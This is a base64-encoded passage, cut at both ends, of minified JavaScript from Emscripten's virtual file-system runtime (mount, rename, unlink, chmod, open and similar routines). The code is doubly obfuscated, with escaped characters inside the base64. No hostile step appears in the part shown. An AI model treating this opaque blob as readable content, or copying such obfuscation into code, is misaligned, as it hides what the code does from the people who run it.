ycm9yKEVSUk5PX0NPREVTLkVTUElQRSl9KX0sbWFqb3I6KGZ1bmN0aW9uKGRldil7cmV0dXJuXHgyMGRldj4+OH0pLG1pbm9yOihmdW5jdGlvbihkZXYpe3JldHVyblx4MjBkZXYmMjU1fSksbWFrZWRldjooZnVuY3Rpb24obWEsbWkpe3JldHVyblx4MjBtYTw8OHxtaX0pLHJlZ2lzdGVyRGV2aWNlOihmdW5jdGlvbihkZXYsb3BzKXtGUy5kZXZpY2VzW2Rldl09e3N0cmVhbV9vcHM6b3BzfX0pLGdldERldmljZTooZnVuY3Rpb24oZGV2KXtyZXR1cm5ceDIwRlMuZGV2aWNlc1tkZXZdfSksZ2V0TW91bnRzOihmdW5jdGlvbihtb3VudCl7dmFyXHgyMG1vdW50cz1bXTt2YXJceDIwY2hlY2s9W21vdW50XTt3aGlsZShjaGVjay5sZW5ndGgpe3Zhclx4MjBtPWNoZWNrLnBvcCgpO21vdW50cy5wdXNoKG0pO2NoZWNrLnB1c2guYXBwbHkoY2hlY2ssbS5tb3VudHMpfXJldHVyblx4MjBtb3VudHN9KSxzeW5jZnM6KGZ1bmN0aW9uKHBvcHVsYXRlLGNhbGxiYWNrKXtpZih0eXBlb2ZceDIwcG9wdWxhdGU9PT1ceDIyZnVuY3Rpb25ceDIyKXtjYWxsYmFjaz1wb3B1bGF0ZTtwb3B1bGF0ZT1mYWxzZX1GUy5zeW5jRlNSZXF1ZXN0cysrO2lmKEZTLnN5bmNGU1JlcXVlc3RzPjEpe2NvbnNvbGUubG9nKFx4MjJ3YXJuaW5nOlx4MjBceDIyK0ZTLnN5bmNGU1JlcXVlc3RzK1x4MjJceDIwRlMuc3luY2ZzXHgyMG9wZXJhdGlvbnNceDIwaW5ceDIwZmxpZ2h0XHgyMGF0XHgyMG9uY2UsXHgyMHByb2JhYmx5XHgyMGp1c3RceDIwZG9pbmdceDIwZXh0cmFceDIwd29ya1x4MjIpfXZhclx4MjBtb3VudHM9RlMuZ2V0TW91bnRzKEZTLnJvb3QubW91bnQpO3Zhclx4MjBjb21wbGV0ZWQ9MDtmdW5jdGlvblx4MjBkb0NhbGxiYWNrKGVycil7YXNzZXJ0KEZTLnN5bmNGU1JlcXVlc3RzPjApO0ZTLnN5bmNGU1JlcXVlc3RzLS07cmV0dXJuXHgyMGNhbGxiYWNrKGVycil9ZnVuY3Rpb25ceDIwZG9uZShlcnIpe2lmKGVycil7aWYoIWRvbmUuZXJyb3JlZCl7ZG9uZS5lcnJvcmVkPXRydWU7cmV0dXJuXHgyMGRvQ2FsbGJhY2soZXJyKX1yZXR1cm59aWYoKytjb21wbGV0ZWQ+PW1vdW50cy5sZW5ndGgpe2RvQ2FsbGJhY2sobnVsbCl9fW1vdW50cy5mb3JFYWNoKChmdW5jdGlvbihtb3VudCl7aWYoIW1vdW50LnR5cGUuc3luY2ZzKXtyZXR1cm5ceDIwZG9uZShudWxsKX1tb3VudC50eXBlLnN5bmNmcyhtb3VudCxwb3B1bGF0ZSxkb25lKX0pKX0pLG1vdW50OihmdW5jdGlvbih0eXBlLG9wdHMsbW91bnRwb2ludCl7dmFyXHgyMHJvb3Q9bW91bnRwb2ludD09PVx4MjIvXHgyMjt2YXJceDIwcHNldWRvPSFtb3VudHBvaW50O3Zhclx4MjBub2RlO2lmKHJvb3QmJkZTLnJvb3Qpe3Rocm93XHgyMG5ld1x4MjBGUy5FcnJub0Vycm9yKEVSUk5PX0NPREVTLkVCVVNZKX1lbHNlXHgyMGlmKCFyb290JiYhcHNldWRvKXt2YXJceDIwbG9va3VwPUZTLmxvb2t1cFBhdGgobW91bnRwb2ludCx7Zm9sbG93X21vdW50OmZhbHNlfSk7bW91bnRwb2ludD1sb29rdXAucGF0aDtub2RlPWxvb2t1cC5ub2RlO2lmKEZTLmlzTW91bnRwb2ludChub2RlKSl7dGhyb3dceDIwbmV3XHgyMEZTLkVycm5vRXJyb3IoRVJSTk9fQ09ERVMuRUJVU1kpfWlmKCFGUy5pc0Rpcihub2RlLm1vZGUpKXt0aHJvd1x4MjBuZXdceDIwRlMuRXJybm9FcnJvcihFUlJOT19DT0RFUy5FTk9URElSKX19dmFyXHgyMG1vdW50PXt0eXBlOnR5cGUsb3B0czpvcHRzLG1vdW50cG9pbnQ6bW91bnRwb2ludCxtb3VudHM6W119O3Zhclx4MjBtb3VudFJvb3Q9dHlwZS5tb3VudChtb3VudCk7bW91bnRSb290Lm1vdW50PW1vdW50O21vdW50LnJvb3Q9bW91bnRSb290O2lmKHJvb3Qpe0ZTLnJvb3Q9bW91bnRSb290fWVsc2VceDIwaWYobm9kZSl7bm9kZS5tb3VudGVkPW1vdW50O2lmKG5vZGUubW91bnQpe25vZGUubW91bnQubW91bnRzLnB1c2gobW91bnQpfX1yZXR1cm5ceDIwbW91bnRSb290fSksdW5tb3VudDooZnVuY3Rpb24obW91bnRwb2ludCl7dmFyXHgyMGxvb2t1cD1GUy5sb29rdXBQYXRoKG1vdW50cG9pbnQse2ZvbGxvd19tb3VudDpmYWxzZX0pO2lmKCFGUy5pc01vdW50cG9pbnQobG9va3VwLm5vZGUpKXt0aHJvd1x4MjBuZXdceDIwRlMuRXJybm9FcnJvcihFUlJOT19DT0RFUy5FSU5WQUwpfXZhclx4MjBub2RlPWxvb2t1cC5ub2RlO3Zhclx4MjBtb3VudD1ub2RlLm1vdW50ZWQ7dmFyXHgyMG1vdW50cz1GUy5nZXRNb3VudHMobW91bnQpO09iamVjdC5rZXlzKEZTLm5hbWVUYWJsZSkuZm9yRWFjaCgoZnVuY3Rpb24oaGFzaCl7dmFyXHgyMGN1cnJlbnQ9RlMubmFtZVRhYmxlW2hhc2hdO3doaWxlKGN1cnJlbnQpe3Zhclx4MjBuZXh0PWN1cnJlbnQubmFtZV9uZXh0O2lmKG1vdW50cy5pbmRleE9mKGN1cnJlbnQubW91bnQpIT09LTEpe0ZTLmRlc3Ryb3lOb2RlKGN1cnJlbnQpfWN1cnJlbnQ9bmV4dH19KSk7bm9kZS5tb3VudGVkPW51bGw7dmFyXHgyMGlkeD1ub2RlLm1vdW50Lm1vdW50cy5pbmRleE9mKG1vdW50KTthc3NlcnQoaWR4IT09LTEpO25vZGUubW91bnQubW91bnRzLnNwbGljZShpZHgsMSl9KSxsb29rdXA6KGZ1bmN0aW9uKHBhcmVudCxuYW1lKXtyZXR1cm5ceDIwcGFyZW50Lm5vZGVfb3BzLmxvb2t1cChwYXJlbnQsbmFtZSl9KSxta25vZDooZnVuY3Rpb24ocGF0aCxtb2RlLGRldil7dmFyXHgyMGxvb2t1cD1GUy5sb29rdXBQYXRoKHBhdGgse3BhcmVudDp0cnVlfSk7dmFyXHgyMHBhcmVudD1sb29rdXAubm9kZTt2YXJceDIwbmFtZT1QQVRILmJhc2VuYW1lKHBhdGgpO2lmKCFuYW1lfHxuYW1lPT09XHgyMi5ceDIyfHxuYW1lPT09XHgyMi4uXHgyMil7dGhyb3dceDIwbmV3XHgyMEZTLkVycm5vRXJyb3IoRVJSTk9fQ09ERVMuRUlOVkFMKX12YXJceDIwZXJyPUZTLm1heUNyZWF0ZShwYXJlbnQsbmFtZSk7aWYoZXJyKXt0aHJvd1x4MjBuZXdceDIwRlMuRXJybm9FcnJvcihlcnIpfWlmKCFwYXJlbnQubm9kZV9vcHMubWtub2Qpe3Rocm93XHgyMG5ld1x4MjBGUy5FcnJub0Vycm9yKEVSUk5PX0NPREVTLkVQRVJNKX1yZXR1cm5ceDIwcGFyZW50Lm5vZGVfb3BzLm1rbm9kKHBhcmVudCxuYW1lLG1vZGUsZGV2KX0pLGNyZWF0ZTooZnVuY3Rpb24ocGF0aCxtb2RlKXttb2RlPW1vZGUhPT11bmRlZmluZWQ/bW9kZTo0Mzg7bW9kZSY9NDA5NTttb2RlfD0zMjc2ODtyZXR1cm5ceDIwRlMubWtub2QocGF0aCxtb2RlLDApfSksbWtkaXI6KGZ1bmN0aW9uKHBhdGgsbW9kZSl7bW9kZT1tb2RlIT09dW5kZWZpbmVkP21vZGU6NTExO21vZGUmPTUxMXw1MTI7bW9kZXw9MTYzODQ7cmV0dXJuXHgyMEZTLm1rbm9kKHBhdGgsbW9kZSwwKX0pLG1rZGlyVHJlZTooZnVuY3Rpb24ocGF0aCxtb2RlKXt2YXJceDIwZGlycz1wYXRoLnNwbGl0KFx4MjIvXHgyMik7dmFyXHgyMGQ9XHgyMlx4MjI7Zm9yKHZhclx4MjBpPTA7aTxkaXJzLmxlbmd0aDsrK2kpe2lmKCFkaXJzW2ldKWNvbnRpbnVlO2QrPVx4MjIvXHgyMitkaXJzW2ldO3RyeXtGUy5ta2RpcihkLG1vZGUpfWNhdGNoKGUpe2lmKGUuZXJybm8hPUVSUk5PX0NPREVTLkVFWElTVCl0aHJvd1x4MjBlfX19KSxta2RldjooZnVuY3Rpb24ocGF0aCxtb2RlLGRldil7aWYodHlwZW9mXHgyMGRldj09PVx4MjJ1bmRlZmluZWRceDIyKXtkZXY9bW9kZTttb2RlPTQzOH1tb2RlfD04MTkyO3JldHVyblx4MjBGUy5ta25vZChwYXRoLG1vZGUsZGV2KX0pLHN5bWxpbms6KGZ1bmN0aW9uKG9sZHBhdGgsbmV3cGF0aCl7aWYoIVBBVEgucmVzb2x2ZShvbGRwYXRoKSl7dGhyb3dceDIwbmV3XHgyMEZTLkVycm5vRXJyb3IoRVJSTk9fQ09ERVMuRU5PRU5UKX12YXJceDIwbG9va3VwPUZTLmxvb2t1cFBhdGgobmV3cGF0aCx7cGFyZW50OnRydWV9KTt2YXJceDIwcGFyZW50PWxvb2t1cC5ub2RlO2lmKCFwYXJlbnQpe3Rocm93XHgyMG5ld1x4MjBGUy5FcnJub0Vycm9yKEVSUk5PX0NPREVTLkVOT0VOVCl9dmFyXHgyMG5ld25hbWU9UEFUSC5iYXNlbmFtZShuZXdwYXRoKTt2YXJceDIwZXJyPUZTLm1heUNyZWF0ZShwYXJlbnQsbmV3bmFtZSk7aWYoZXJyKXt0aHJvd1x4MjBuZXdceDIwRlMuRXJybm9FcnJvcihlcnIpfWlmKCFwYXJlbnQubm9kZV9vcHMuc3ltbGluayl7dGhyb3dceDIwbmV3XHgyMEZTLkVycm5vRXJyb3IoRVJSTk9fQ09ERVMuRVBFUk0pfXJldHVyblx4MjBwYXJlbnQubm9kZV9vcHMuc3ltbGluayhwYXJlbnQsbmV3bmFtZSxvbGRwYXRoKX0pLHJlbmFtZTooZnVuY3Rpb24ob2xkX3BhdGgsbmV3X3BhdGgpe3Zhclx4MjBvbGRfZGlybmFtZT1QQVRILmRpcm5hbWUob2xkX3BhdGgpO3Zhclx4MjBuZXdfZGlybmFtZT1QQVRILmRpcm5hbWUobmV3X3BhdGgpO3Zhclx4MjBvbGRfbmFtZT1QQVRILmJhc2VuYW1lKG9sZF9wYXRoKTt2YXJceDIwbmV3X25hbWU9UEFUSC5iYXNlbmFtZShuZXdfcGF0aCk7dmFyXHgyMGxvb2t1cCxvbGRfZGlyLG5ld19kaXI7dHJ5e2xvb2t1cD1GUy5sb29rdXBQYXRoKG9sZF9wYXRoLHtwYXJlbnQ6dHJ1ZX0pO29sZF9kaXI9bG9va3VwLm5vZGU7bG9va3VwPUZTLmxvb2t1cFBhdGgobmV3X3BhdGgse3BhcmVudDp0cnVlfSk7bmV3X2Rpcj1sb29rdXAubm9kZX1jYXRjaChlKXt0aHJvd1x4MjBuZXdceDIwRlMuRXJybm9FcnJvcihFUlJOT19DT0RFUy5FQlVTWSl9aWYoIW9sZF9kaXJ8fCFuZXdfZGlyKXRocm93XHgyMG5ld1x4MjBGUy5FcnJub0Vycm9yKEVSUk5PX0NPREVTLkVOT0VOVCk7aWYob2xkX2Rpci5tb3VudCE9PW5ld19kaXIubW91bnQpe3Rocm93XHgyMG5ld1x4MjBGUy5FcnJub0Vycm9yKEVSUk5PX0NPREVTLkVYREVWKX12YXJceDIwb2xkX25vZGU9RlMubG9va3VwTm9kZShvbGRfZGlyLG9sZF9uYW1lKTt2YXJceDIwcmVsYXRpdmU9UEFUSC5yZWxhdGl2ZShvbGRfcGF0aCxuZXdfZGlybmFtZSk7aWYocmVsYXRpdmUuY2hhckF0KDApIT09XHgyMi5ceDIyKXt0aHJvd1x4MjBuZXdceDIwRlMuRXJybm9FcnJvcihFUlJOT19DT0RFUy5FSU5WQUwpfXJlbGF0aXZlPVBBVEgucmVsYXRpdmUobmV3X3BhdGgsb2xkX2Rpcm5hbWUpO2lmKHJlbGF0aXZlLmNoYXJBdCgwKSE9PVx4MjIuXHgyMil7dGhyb3dceDIwbmV3XHgyMEZTLkVycm5vRXJyb3IoRVJSTk9fQ09ERVMuRU5PVEVNUFRZKX12YXJceDIwbmV3X25vZGU7dHJ5e25ld19ub2RlPUZTLmxvb2t1cE5vZGUobmV3X2RpcixuZXdfbmFtZSl9Y2F0Y2goZSl7fWlmKG9sZF9ub2RlPT09bmV3X25vZGUpe3JldHVybn12YXJceDIwaXNkaXI9RlMuaXNEaXIob2xkX25vZGUubW9kZSk7dmFyXHgyMGVycj1GUy5tYXlEZWxldGUob2xkX2RpcixvbGRfbmFtZSxpc2Rpcik7aWYoZXJyKXt0aHJvd1x4MjBuZXdceDIwRlMuRXJybm9FcnJvcihlcnIpfWVycj1uZXdfbm9kZT9GUy5tYXlEZWxldGUobmV3X2RpcixuZXdfbmFtZSxpc2Rpcik6RlMubWF5Q3JlYXRlKG5ld19kaXIsbmV3X25hbWUpO2lmKGVycil7dGhyb3dceDIwbmV3XHgyMEZTLkVycm5vRXJyb3IoZXJyKX1pZighb2xkX2Rpci5ub2RlX29wcy5yZW5hbWUpe3Rocm93XHgyMG5ld1x4MjBGUy5FcnJub0Vycm9yKEVSUk5PX0NPREVTLkVQRVJNKX1pZihGUy5pc01vdW50cG9pbnQob2xkX25vZGUpfHxuZXdfbm9kZSYmRlMuaXNNb3VudHBvaW50KG5ld19ub2RlKSl7dGhyb3dceDIwbmV3XHgyMEZTLkVycm5vRXJyb3IoRVJSTk9fQ09ERVMuRUJVU1kpfWlmKG5ld19kaXIhPT1vbGRfZGlyKXtlcnI9RlMubm9kZVBlcm1pc3Npb25zKG9sZF9kaXIsXHgyMndceDIyKTtpZihlcnIpe3Rocm93XHgyMG5ld1x4MjBGUy5FcnJub0Vycm9yKGVycil9fXRyeXtpZihGUy50cmFja2luZ0RlbGVnYXRlW1x4MjJ3aWxsTW92ZVBhdGhceDIyXSl7RlMudHJhY2tpbmdEZWxlZ2F0ZVtceDIyd2lsbE1vdmVQYXRoXHgyMl0ob2xkX3BhdGgsbmV3X3BhdGgpfX1jYXRjaChlKXtjb25zb2xlLmxvZyhceDIyRlMudHJhY2tpbmdEZWxlZ2F0ZVtceDI3d2lsbE1vdmVQYXRoXHgyN10oXHgyN1x4MjIrb2xkX3BhdGgrXHgyMlx4MjcsXHgyMFx4MjdceDIyK25ld19wYXRoK1x4MjJceDI3KVx4MjB0aHJld1x4MjBhblx4MjBleGNlcHRpb246XHgyMFx4MjIrZS5tZXNzYWdlKX1GUy5oYXNoUmVtb3ZlTm9kZShvbGRfbm9kZSk7dHJ5e29sZF9kaXIubm9kZV9vcHMucmVuYW1lKG9sZF9ub2RlLG5ld19kaXIsbmV3X25hbWUpfWNhdGNoKGUpe3Rocm93XHgyMGV9ZmluYWxseXtGUy5oYXNoQWRkTm9kZShvbGRfbm9kZSl9dHJ5e2lmKEZTLnRyYWNraW5nRGVsZWdhdGVbXHgyMm9uTW92ZVBhdGhceDIyXSlGUy50cmFja2luZ0RlbGVnYXRlW1x4MjJvbk1vdmVQYXRoXHgyMl0ob2xkX3BhdGgsbmV3X3BhdGgpfWNhdGNoKGUpe2NvbnNvbGUubG9nKFx4MjJGUy50cmFja2luZ0RlbGVnYXRlW1x4Mjdvbk1vdmVQYXRoXHgyN10oXHgyN1x4MjIrb2xkX3BhdGgrXHgyMlx4MjcsXHgyMFx4MjdceDIyK25ld19wYXRoK1x4MjJceDI3KVx4MjB0aHJld1x4MjBhblx4MjBleGNlcHRpb246XHgyMFx4MjIrZS5tZXNzYWdlKX19KSxybWRpcjooZnVuY3Rpb24ocGF0aCl7dmFyXHgyMGxvb2t1cD1GUy5sb29rdXBQYXRoKHBhdGgse3BhcmVudDp0cnVlfSk7dmFyXHgyMHBhcmVudD1sb29rdXAubm9kZTt2YXJceDIwbmFtZT1QQVRILmJhc2VuYW1lKHBhdGgpO3Zhclx4MjBub2RlPUZTLmxvb2t1cE5vZGUocGFyZW50LG5hbWUpO3Zhclx4MjBlcnI9RlMubWF5RGVsZXRlKHBhcmVudCxuYW1lLHRydWUpO2lmKGVycil7dGhyb3dceDIwbmV3XHgyMEZTLkVycm5vRXJyb3IoZXJyKX1pZighcGFyZW50Lm5vZGVfb3BzLnJtZGlyKXt0aHJvd1x4MjBuZXdceDIwRlMuRXJybm9FcnJvcihFUlJOT19DT0RFUy5FUEVSTSl9aWYoRlMuaXNNb3VudHBvaW50KG5vZGUpKXt0aHJvd1x4MjBuZXdceDIwRlMuRXJybm9FcnJvcihFUlJOT19DT0RFUy5FQlVTWSl9dHJ5e2lmKEZTLnRyYWNraW5nRGVsZWdhdGVbXHgyMndpbGxEZWxldGVQYXRoXHgyMl0pe0ZTLnRyYWNraW5nRGVsZWdhdGVbXHgyMndpbGxEZWxldGVQYXRoXHgyMl0ocGF0aCl9fWNhdGNoKGUpe2NvbnNvbGUubG9nKFx4MjJGUy50cmFja2luZ0RlbGVnYXRlW1x4Mjd3aWxsRGVsZXRlUGF0aFx4MjddKFx4MjdceDIyK3BhdGgrXHgyMlx4MjcpXHgyMHRocmV3XHgyMGFuXHgyMGV4Y2VwdGlvbjpceDIwXHgyMitlLm1lc3NhZ2UpfXBhcmVudC5ub2RlX29wcy5ybWRpcihwYXJlbnQsbmFtZSk7RlMuZGVzdHJveU5vZGUobm9kZSk7dHJ5e2lmKEZTLnRyYWNraW5nRGVsZWdhdGVbXHgyMm9uRGVsZXRlUGF0aFx4MjJdKUZTLnRyYWNraW5nRGVsZWdhdGVbXHgyMm9uRGVsZXRlUGF0aFx4MjJdKHBhdGgpfWNhdGNoKGUpe2NvbnNvbGUubG9nKFx4MjJGUy50cmFja2luZ0RlbGVnYXRlW1x4MjdvbkRlbGV0ZVBhdGhceDI3XShceDI3XHgyMitwYXRoK1x4MjJceDI3KVx4MjB0aHJld1x4MjBhblx4MjBleGNlcHRpb246XHgyMFx4MjIrZS5tZXNzYWdlKX19KSxyZWFkZGlyOihmdW5jdGlvbihwYXRoKXt2YXJceDIwbG9va3VwPUZTLmxvb2t1cFBhdGgocGF0aCx7Zm9sbG93OnRydWV9KTt2YXJceDIwbm9kZT1sb29rdXAubm9kZTtpZighbm9kZS5ub2RlX29wcy5yZWFkZGlyKXt0aHJvd1x4MjBuZXdceDIwRlMuRXJybm9FcnJvcihFUlJOT19DT0RFUy5FTk9URElSKX1yZXR1cm5ceDIwbm9kZS5ub2RlX29wcy5yZWFkZGlyKG5vZGUpfSksdW5saW5rOihmdW5jdGlvbihwYXRoKXt2YXJceDIwbG9va3VwPUZTLmxvb2t1cFBhdGgocGF0aCx7cGFyZW50OnRydWV9KTt2YXJceDIwcGFyZW50PWxvb2t1cC5ub2RlO3Zhclx4MjBuYW1lPVBBVEguYmFzZW5hbWUocGF0aCk7dmFyXHgyMG5vZGU9RlMubG9va3VwTm9kZShwYXJlbnQsbmFtZSk7dmFyXHgyMGVycj1GUy5tYXlEZWxldGUocGFyZW50LG5hbWUsZmFsc2UpO2lmKGVycil7dGhyb3dceDIwbmV3XHgyMEZTLkVycm5vRXJyb3IoZXJyKX1pZighcGFyZW50Lm5vZGVfb3BzLnVubGluayl7dGhyb3dceDIwbmV3XHgyMEZTLkVycm5vRXJyb3IoRVJSTk9fQ09ERVMuRVBFUk0pfWlmKEZTLmlzTW91bnRwb2ludChub2RlKSl7dGhyb3dceDIwbmV3XHgyMEZTLkVycm5vRXJyb3IoRVJSTk9fQ09ERVMuRUJVU1kpfXRyeXtpZihGUy50cmFja2luZ0RlbGVnYXRlW1x4MjJ3aWxsRGVsZXRlUGF0aFx4MjJdKXtGUy50cmFja2luZ0RlbGVnYXRlW1x4MjJ3aWxsRGVsZXRlUGF0aFx4MjJdKHBhdGgpfX1jYXRjaChlKXtjb25zb2xlLmxvZyhceDIyRlMudHJhY2tpbmdEZWxlZ2F0ZVtceDI3d2lsbERlbGV0ZVBhdGhceDI3XShceDI3XHgyMitwYXRoK1x4MjJceDI3KVx4MjB0aHJld1x4MjBhblx4MjBleGNlcHRpb246XHgyMFx4MjIrZS5tZXNzYWdlKX1wYXJlbnQubm9kZV9vcHMudW5saW5rKHBhcmVudCxuYW1lKTtGUy5kZXN0cm95Tm9kZShub2RlKTt0cnl7aWYoRlMudHJhY2tpbmdEZWxlZ2F0ZVtceDIyb25EZWxldGVQYXRoXHgyMl0pRlMudHJhY2tpbmdEZWxlZ2F0ZVtceDIyb25EZWxldGVQYXRoXHgyMl0ocGF0aCl9Y2F0Y2goZSl7Y29uc29sZS5sb2coXHgyMkZTLnRyYWNraW5nRGVsZWdhdGVbXHgyN29uRGVsZXRlUGF0aFx4MjddKFx4MjdceDIyK3BhdGgrXHgyMlx4MjcpXHgyMHRocmV3XHgyMGFuXHgyMGV4Y2VwdGlvbjpceDIwXHgyMitlLm1lc3NhZ2UpfX0pLHJlYWRsaW5rOihmdW5jdGlvbihwYXRoKXt2YXJceDIwbG9va3VwPUZTLmxvb2t1cFBhdGgocGF0aCk7dmFyXHgyMGxpbms9bG9va3VwLm5vZGU7aWYoIWxpbmspe3Rocm93XHgyMG5ld1x4MjBGUy5FcnJub0Vycm9yKEVSUk5PX0NPREVTLkVOT0VOVCl9aWYoIWxpbmsubm9kZV9vcHMucmVhZGxpbmspe3Rocm93XHgyMG5ld1x4MjBGUy5FcnJub0Vycm9yKEVSUk5PX0NPREVTLkVJTlZBTCl9cmV0dXJuXHgyMFBBVEgucmVzb2x2ZShGUy5nZXRQYXRoKGxpbmsucGFyZW50KSxsaW5rLm5vZGVfb3BzLnJlYWRsaW5rKGxpbmspKX0pLHN0YXQ6KGZ1bmN0aW9uKHBhdGgsZG9udEZvbGxvdyl7dmFyXHgyMGxvb2t1cD1GUy5sb29rdXBQYXRoKHBhdGgse2ZvbGxvdzohZG9udEZvbGxvd30pO3Zhclx4MjBub2RlPWxvb2t1cC5ub2RlO2lmKCFub2RlKXt0aHJvd1x4MjBuZXdceDIwRlMuRXJybm9FcnJvcihFUlJOT19DT0RFUy5FTk9FTlQpfWlmKCFub2RlLm5vZGVfb3BzLmdldGF0dHIpe3Rocm93XHgyMG5ld1x4MjBGUy5FcnJub0Vycm9yKEVSUk5PX0NPREVTLkVQRVJNKX1yZXR1cm5ceDIwbm9kZS5ub2RlX29wcy5nZXRhdHRyKG5vZGUpfSksbHN0YXQ6KGZ1bmN0aW9uKHBhdGgpe3JldHVyblx4MjBGUy5zdGF0KHBhdGgsdHJ1ZSl9KSxjaG1vZDooZnVuY3Rpb24ocGF0aCxtb2RlLGRvbnRGb2xsb3cpe3Zhclx4MjBub2RlO2lmKHR5cGVvZlx4MjBwYXRoPT09XHgyMnN0cmluZ1x4MjIpe3Zhclx4MjBsb29rdXA9RlMubG9va3VwUGF0aChwYXRoLHtmb2xsb3c6IWRvbnRGb2xsb3d9KTtub2RlPWxvb2t1cC5ub2RlfWVsc2V7bm9kZT1wYXRofWlmKCFub2RlLm5vZGVfb3BzLnNldGF0dHIpe3Rocm93XHgyMG5ld1x4MjBGUy5FcnJub0Vycm9yKEVSUk5PX0NPREVTLkVQRVJNKX1ub2RlLm5vZGVfb3BzLnNldGF0dHIobm9kZSx7bW9kZTptb2RlJjQwOTV8bm9kZS5tb2RlJn40MDk1LHRpbWVzdGFtcDpEYXRlLm5vdygpfSl9KSxsY2htb2Q6KGZ1bmN0aW9uKHBhdGgsbW9kZSl7RlMuY2htb2QocGF0aCxtb2RlLHRydWUpfSksZmNobW9kOihmdW5jdGlvbihmZCxtb2RlKXt2YXJceDIwc3RyZWFtPUZTLmdldFN0cmVhbShmZCk7aWYoIXN0cmVhbSl7dGhyb3dceDIwbmV3XHgyMEZTLkVycm5vRXJyb3IoRVJSTk9fQ09ERVMuRUJBREYpfUZTLmNobW9kKHN0cmVhbS5ub2RlLG1vZGUpfSksY2hvd246KGZ1bmN0aW9uKHBhdGgsdWlkLGdpZCxkb250Rm9sbG93KXt2YXJceDIwbm9kZTtpZih0eXBlb2ZceDIwcGF0aD09PVx4MjJzdHJpbmdceDIyKXt2YXJceDIwbG9va3VwPUZTLmxvb2t1cFBhdGgocGF0aCx7Zm9sbG93OiFkb250Rm9sbG93fSk7bm9kZT1sb29rdXAubm9kZX1lbHNle25vZGU9cGF0aH1pZighbm9kZS5ub2RlX29wcy5zZXRhdHRyKXt0aHJvd1x4MjBuZXdceDIwRlMuRXJybm9FcnJvcihFUlJOT19DT0RFUy5FUEVSTSl9bm9kZS5ub2RlX29wcy5zZXRhdHRyKG5vZGUse3RpbWVzdGFtcDpEYXRlLm5vdygpfSl9KSxsY2hvd246KGZ1bmN0aW9uKHBhdGgsdWlkLGdpZCl7RlMuY2hvd24ocGF0aCx1aWQsZ2lkLHRydWUpfSksZmNob3duOihmdW5jdGlvbihmZCx1aWQsZ2lkKXt2YXJceDIwc3RyZWFtPUZTLmdldFN0cmVhbShmZCk7aWYoIXN0cmVhbSl7dGhyb3dceDIwbmV3XHgyMEZTLkVycm5vRXJyb3IoRVJSTk9fQ09ERVMuRUJBREYpfUZTLmNob3duKHN0cmVhbS5ub2RlLHVpZCxnaWQpfSksdHJ1bmNhdGU6KGZ1bmN0aW9uKHBhdGgsbGVuKXtpZihsZW48MCl7dGhyb3dceDIwbmV3XHgyMEZTLkVycm5vRXJyb3IoRVJSTk9fQ09ERVMuRUlOVkFMKX12YXJceDIwbm9kZTtpZih0eXBlb2ZceDIwcGF0aD09PVx4MjJzdHJpbmdceDIyKXt2YXJceDIwbG9va3VwPUZTLmxvb2t1cFBhdGgocGF0aCx7Zm9sbG93OnRydWV9KTtub2RlPWxvb2t1cC5ub2RlfWVsc2V7bm9kZT1wYXRofWlmKCFub2RlLm5vZGVfb3BzLnNldGF0dHIpe3Rocm93XHgyMG5ld1x4MjBGUy5FcnJub0Vycm9yKEVSUk5PX0NPREVTLkVQRVJNKX1pZihGUy5pc0Rpcihub2RlLm1vZGUpKXt0aHJvd1x4MjBuZXdceDIwRlMuRXJybm9FcnJvcihFUlJOT19DT0RFUy5FSVNESVIpfWlmKCFGUy5pc0ZpbGUobm9kZS5tb2RlKSl7dGhyb3dceDIwbmV3XHgyMEZTLkVycm5vRXJyb3IoRVJSTk9fQ09ERVMuRUlOVkFMKX12YXJceDIwZXJyPUZTLm5vZGVQZXJtaXNzaW9ucyhub2RlLFx4MjJ3XHgyMik7aWYoZXJyKXt0aHJvd1x4MjBuZXdceDIwRlMuRXJybm9FcnJvcihlcnIpfW5vZGUubm9kZV9vcHMuc2V0YXR0cihub2RlLHtzaXplOmxlbix0aW1lc3RhbXA6RGF0ZS5ub3coKX0pfSksZnRydW5jYXRlOihmdW5jdGlvbihmZCxsZW4pe3Zhclx4MjBzdHJlYW09RlMuZ2V0U3RyZWFtKGZkKTtpZighc3RyZWFtKXt0aHJvd1x4MjBuZXdceDIwRlMuRXJybm9FcnJvcihFUlJOT19DT0RFUy5FQkFERil9aWYoKHN0cmVhbS5mbGFncyYyMDk3MTU1KT09PTApe3Rocm93XHgyMG5ld1x4MjBGUy5FcnJub0Vycm9yKEVSUk5PX0NPREVTLkVJTlZBTCl9RlMudHJ1bmNhdGUoc3RyZWFtLm5vZGUsbGVuKX0pLHV0aW1lOihmdW5jdGlvbihwYXRoLGF0aW1lLG10aW1lKXt2YXJceDIwbG9va3VwPUZTLmxvb2t1cFBhdGgocGF0aCx7Zm9sbG93OnRydWV9KTt2YXJceDIwbm9kZT1sb29rdXAubm9kZTtub2RlLm5vZGVfb3BzLnNldGF0dHIobm9kZSx7dGltZXN0YW1wOk1hdGgubWF4KGF0aW1lLG10aW1lKX0pfSksb3BlbjooZnVuY3Rpb24ocGF0aCxmbGFncyxtb2RlLGZkX3N0YXJ0LGZkX2VuZCl7aWYocGF0aD09PVx4MjJceDIyKXt0aHJvd1x4MjBuZXdceDIwRlMuRXJybm9FcnJvcihFUlJOT19DT0RFUy5FTk9FTlQpfWZsYWdzPXR5cGVvZlx4MjBmbGFncz09PVx4MjJzdHJpbmdceDIyP0ZTLm1vZGVTdHJpbmdUb0ZsYWdzKGZsYWdzKTpmbGFnczttb2RlPXR5cGVvZlx4MjBtb2RlPT09XHgyMnVuZGVmaW5lZFx4MjI/NDM4Om1vZGU7aWYoZmxhZ3MmNjQpe21vZGU9bW9kZSY0MDk1fDMyNzY4fWVsc2V7bW9kZT0wfXZhclx4MjBub2RlO2lmKHR5cGVvZlx4MjBwYXRoPT09XHgyMm9iamVjdFx4MjIpe25vZGU9cGF0aH1lbHNle3BhdGg9UEFUSC5ub3JtYWxpemUocGF0aCk7dHJ5e3Zhclx4MjBsb29rdXA9RlMubG9va3VwUGF0aChwYXRoLHtmb2xsb3c6IShmbGFncyYxMzEwNzIpfSk7bm9kZT1sb29rdXAubm9kZX1jYXRjaChlKXt9fXZhclx4MjBjcmVhdGVkPWZhbHNlO2lmKGZsYWdzJjY0KXtpZihub2RlKXtpZihmbGFncyYxMjgpe3Rocm93XHgyMG5ld1x4MjBGUy5FcnJub0Vycm9yKEVSUk5PX0NPREVTLkVFWElTVCl9fWVsc2V7bm9kZT1GUy5ta25vZChwYXRoLG1vZGUsMCk7Y3JlYXRlZD10cnVlfX1pZighbm9kZSl7dGhyb3dceDIwbmV3XHgyMEZTLkVycm5vRXJy